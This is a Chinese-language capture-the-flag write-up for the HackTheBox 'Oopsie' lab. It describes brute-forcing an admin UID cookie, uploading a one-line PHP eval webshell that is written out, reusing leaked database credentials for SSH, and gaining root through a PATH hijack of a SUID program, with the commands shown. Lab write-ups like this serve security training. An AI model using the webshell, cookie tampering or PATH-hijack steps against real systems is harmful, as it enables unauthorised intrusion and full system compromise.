
- 难度 : Very Easy
- 靶场 : HackTheBox [Oopsie]
- 类型 : 综合渗透
GetShell
访问 80 ,查看源代码,发现存在路径 http://10.129.230.107/cdn-cgi/login/ ,是后台管理地址,可以直接 Guest 登录。
登录后发现多了两个 Cookie ,其中 user 应该是对应的 UID ,用 Burp 爆破,由于 HTB 里面有个提示,是 5 位数,并且最后一位是 2 ,所以爆破量不算太大,最多 9000 次就可以完成了。
爆破得出 admin 的 UID 是 34322 ,可以访问上传界面了,直接上传一句话。
<?php eval($_REQUEST['1']);
上传后的路径是 http://10.129.230.107/uploads/filename.php ,用蚁剑可以成功连接,不过貌似会定期清理。
翻了下源代码,找到了数据库配置文件 /var/www/html/cdn-cgi/login/db.php ,里面有一个 robert 用户和密码。
用这个用户 SSH 撞库,成功登录,GetShell 成功。
提权
发现用户有个可执行文件 bugtracker 可以直接使用。原理应该是在程序中赋予了 cat SUID ,目的是让 cat 命令可以访问任何文件,但是实际上这个 cat 并不是绝对路径 /bin/cat ,所以可以直接修改环境变量,控制 cat 的内容,达到提权的效果。
首先创建文件夹 /tmp/test ,然后在 /tmp/test 中创建一个 cat 文件,写入以下内容。
/bin/bash
赋予 cat 可执行权限。
chmod +x cat
修改环境变量。
export PATH=/tmp/test:/bin:/usr/bin
which cat
此时 cat 已经变成了一个 root 权限的 shell ,再执行 bugtracker 即可提权成功,但是查看 flag 就不能再用 cat 了,可以用 head 或者其他的命令代替。
head /home/robert/user.txt
head /root/root.txt
但其实这题不用这种方法也能解,只要能猜对 root 的 flag 文件名就行,类似任意文件读取,可以直接执行 bugtracker ,然后 bug id 填写 ../../../root/root.txt ,就可以读出 flag 了。
评论